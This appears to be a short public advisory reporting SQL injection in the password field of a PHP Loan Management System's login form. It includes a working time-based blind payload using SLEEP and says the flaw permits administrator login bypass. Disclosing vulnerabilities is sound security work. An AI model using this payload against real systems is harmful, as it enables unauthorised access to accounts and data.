## Title: Copyright © Loan Management System 2024-1.0 Multiple-SQLi
## Author: nu11secur1ty
## Date: 01/12/2024
## Vendor: https://twitter.com/razormist
## Software: https://www.sourcecodester.com/php/15529/loan-management-system-oop-php-mysqlijquery-free-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The `password` parameter is vulnerable to SQL injection attacks. The
payload ' was submitted in the password parameter, and a database
error message was returned. Also, the attacker can bypass the login
form and log in to the system as an administrator using this
vulnerability SQLi bypass authentication.

STATUS: HIGH-CRITICAL Vulnerability

[+]Payload:
```mysql
---
Parameter: password (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=aeoZNyVE&password=r8D!y8e!I8' AND (SELECT 8282
FROM (SELECT(SLEEP(7)))jrPA)# PgMx&login=
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/razormist/2024/Loan-Management-System-2024-1.0)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2024/01/copyright-loan-management-system-2024.html)

## Time spend:
00:35:00